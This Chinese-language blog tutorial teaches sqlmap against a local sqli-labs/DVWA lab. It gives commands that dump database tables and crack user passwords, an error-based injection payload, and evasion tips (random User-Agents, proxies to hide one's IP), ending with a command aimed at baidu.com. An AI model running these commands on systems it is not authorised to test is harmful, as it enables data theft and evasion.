sqlmap使用
sqlmap使用,简介请见官网sqlmap.org
sqlmap的经典操作
参数 | 作用 |
---|---|
-u | 指定url |
-l/-r | 读取文件内容进行注入,例如burpsuite保存的数据包头 |
--batch | 默认会问我们有很多问题,让slqmap自动选择 |
--forms | 自动查找表单 |
--level | 注入登记 1~5 |
--risk | 危险级别 1~3 |
--dbs | 查看数据库 |
--tables | 查看表 |
--columns | 查看字段 |
--dump | 列出字段内容 |
-D | 指定数据库 |
-T | 指定表 |
-C | 指定字段 |
--prefix | 指定闭合方式 |
--dbms | 指定数据库类型 |
--current-user | 查看当前用户 |
--current-db | 查看当前数据库 |
看了看,感觉很多参数,是不是很烦,其实很简单
简单的操作,这里我们对sql-labs
的第一关进行测试
sqlmap -u "http://172.16.1.101/sqli-labs/Less-1/index.php?id=1" --batch --dbs
在爆破成功是,slqmap
会给出指定的payload
Payload: id=1' AND (SELECT 9683 FROM(SELECT COUNT(*),CONCAT(0x71786b6271,(SELECT (ELT(9683=9683,1))),0x716a786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'BGMb'='BGMb
可以看到爆出我们有7个数据库和名称
就下查看dvwa
数据库的中表的内容
sqlmap -u "http://172.16.1.101/sqli-labs/Less-1/index.php?id=1" --batch -D dvwa --tables
拥有guestbook
和users
表
继续查看users
表中字段的内容
sqlmap -u "http://172.16.1.101/sqli-labs/Less-1/index.php?id=1" --batch -D dvwa -T users --column
拥有这8个字段,有一看就知道用户名和密码
在user
和password
字段中
将该字段的数据爆出
sqlmap -u "http://172.16.1.101/sqli-labs/Less-1/index.php?id=1" --batch -D dvwa -T users -C user,password --dump
可以看到sqlmap
非常的人性化,会将简单的md5
加密进行破解
当我们普通破解不成功的时候,可以试一试--level
或者--risk
后续都是一些扩展的操作
直连数据库
原理:直接使用SQLmap连接数据库执行查询语句
payload:sqlmap -d "mysql://用户名:密码@连接IP地址:数据库端口/连接的数据库
-f --banner --dbs --users
sqlmap -d "mysql://root:root@127.0.0.1:3306/mysql" -f --banner --dbs --user
***-d 直连数据库 -f 连接后执行的命令 ***
--banner 查看数据库版本 --dbs 所有的数据库名 --users 所有的用户
连接成功,这里我使用IP地址连接失败了,使用的是127.0.0.1本地回环地址
报错了,刚开始让我安装模块,安装过后就出现了这样错误,我也是个小白,不是很懂
执行完我们的语句后会关闭数据库连接
对URL进行探测
使用-u
参数,url格式:http(s)://target-url[:port]/[...]
例如:https://www.target.com:80/vuln.php?id=1
这里我们对sqli-labs靶场进行测试
测试:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=1" --banner
这里使用的是 --banner
参数,获取出中间件,PHP版本,MySQL版本等信息,还是挺厉害的。
从文件中读取目标,对多个URL进行探测
有时我们的目标不止一个,-u 参数已经无法满足我们
sqlmap支持从不同文件类型的文件中读取目标进行sql注入探测
-l | 从Burpsuite proxy代理软件中读取Http请求日志文件 |
---|---|
-x | 从sitemap.xml站点地图文件中读取目标探测 |
-m | 从多行文本格式文件读取多个目标,对多个目标进行探测 |
-r | 从文本中读取HTTP请求作为SQL注入探测目标 |
-c | 从配置文件 sqlmap.conf 中读取目标猜测 |
-g | 配合谷歌语法进行探测(intitle,intext,filetype,site,inurl) |
-l 从Burpsuite proxy中的文件头信息进行注入探测
在burpsuite抓包页面中,右键
保存到sqlmap.py的根目录下,这里我保存文件名为 log
命令:python sqlmap.py -l log
PUT请求方法,--method
SQLmap会自动检测适合的HTTP请求方法,但是有些情况下,需要强制使用具体的HTTP请求方法,所以我们要强制指定请求方法--method=PUT
例如:python sqlmap.py -u "http://172.16.1.222/sqli-labs-master/Less-11/index.php" --method=PUT
POST传参,--data
默认情况下,HTTP请求使用的是GET,有时我们的SQL注入时POST型的,所以我们需要使用--data
参数来进行POST传参
格式:--data="id=1&username=root&password=root"
这里我们举例sqli-labs-Less11关卡,模拟POST注入
payload:python sqlmap.py -u "http://172.16.1.222/sqli-labs-master/Less-11/index.php" --data="uname=admin&passwd=admin&submit=Submit" --batch
--batch 是自动选择的意思
并没有报错,代表存在这个注入点。
设置分隔符,--param-del
我们可以进行指定分隔符,例如GET和POST请求中的默认分隔符为&和,可以使用--param-del=';'
,这里;
就与&
是一个意思
例如:python sqlmap.py -u "http://172.16.1.222/sqli-labs-master/Less-11/index.php" --data="uname=admin;passwd=admin;submit=Submit" --param-del=';' --batch --dbs
执行成功
设置cookie头,--cookie --cookie-del --load-cookies --drop-set-cookie
使用场景:Web应用程序具有基于cookie验证,基于cookie注入漏洞。
如何在SQLmap中使用cookie:
1. 打开审计工具或代理截断,复制cookie。
2. 使用 --cookie 粘贴cookie
例如浏览器,F12,找到Network(网络),刷新,点击一个数据包,查看文件头,里面就有cookie信息
或者burpsuite抓包也可以获取的到
设置 User-Agent 代理头信息
在默认情况下,sqlmap使用的HTTP用户代理头值为:sqlmap/2.1-dev-xxxxxxx(http://sqlmap.org)
,一些网站会对User-Agent进行检测,认证
我们可以自定义 User-Agnet,使用 --user-agnet
进行执行 user-Agent 进行注入
通过Wireshark抓包可以看到,默认的User-Agent很容易被检测出来
根据上述讲的cookie类似,User-Agent可以通过burpsuite获取
测试:
sqlmap -u "http://172.16.1.104/sqli-labs-master/Less-1/index.php?id=1" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
通过Wireshark,可以看到User-Agent已经被我们修改
有时为了绕过检测,需要我们不停的更换 User-Agent,sqlmap为我们提供了一个user-agent的字典,可以使用--random-agent
来调用字典中随机的一个user-agent
测试:
sqlmap -u "http://172.16.1.104/sqli-labs-master/Less-1/index.php?id=1" --random-agent
这次的值我们并没有指定,是从/sqlmap/txt/user-agent.txt中随机读取出来的。
设置HTTP协议认证
--auth-type和--auth-cred
其中--auth-type支持 Basic、Digest、NTLM,--auth-cred时认证时的用户名和密码
例如:slqmap -u "http://172.16.1.111/sqli-labs-master/Less-1/?id=1" --auth-type Basic --auth-cred root:toor
那么什么是HTTP协议认证呢,经常出现在中间件服务器中设置,例如apache、Nginx、IIS等中出现,类似如图:
在对这样的案例进行SQL注入时,必须进行认证,否者slqmap无法注入
设置HTTP标头
在一些情况中,默写服务器会检测HTTP标头中的信息,例如通过HOST获取IP,来判断认证是否访问该网页,有些进行的是User-Agent认证。
可以使用--header
进行多个标头进行修改,每个标头之间用\n
隔开
测试:sqlmap -u "http://172.16.1.111/sqli-labs-master/Less-1/index.php?id=1" --headers="Host:www.google.cn\nUser-Agent:FFFFF团"
并使用wireshark
进行抓包
可以看到HTTP标头已经被我们修改,当然也可以修改sqlmap.conf(在windows中这个文件在根目录下,在kali自动安装的配置文件在/etc/sqlmap/sqlmap.conf)修改如下图:
只需要修改hearders=后面的值即可,一行一个标头
设置代理服务器
特殊情况下,我们为了隐藏自己的IP地址,或者我们的IP地址被网站拉进黑名单,或者只有特定的IP地址才可以访问的网站之类的,我们可以使用代理服务器进行访问。
参数:--proxy、--proxy-cred、--proxy-file、--ignore-proxy
--proxy
是指定代理服务器,例如:--proxy "http://IP:PORT"
--proxy-cred
有的代理服务器是需要用户名和密码的,这个参数进行指定
--proxy-file
逐行读取文件内容作为代理服务器,如果第一行不行,切换下一行代理服务器
--ignore-proxy
系统有时候会设置HTTP或者HTTPS代理服务器,忽略系统代理使用这个参数
例如:sqlmap -u "http://www.baidu.com/index.php?id=1" --proxy "http://218.75.69.50:57903" --banner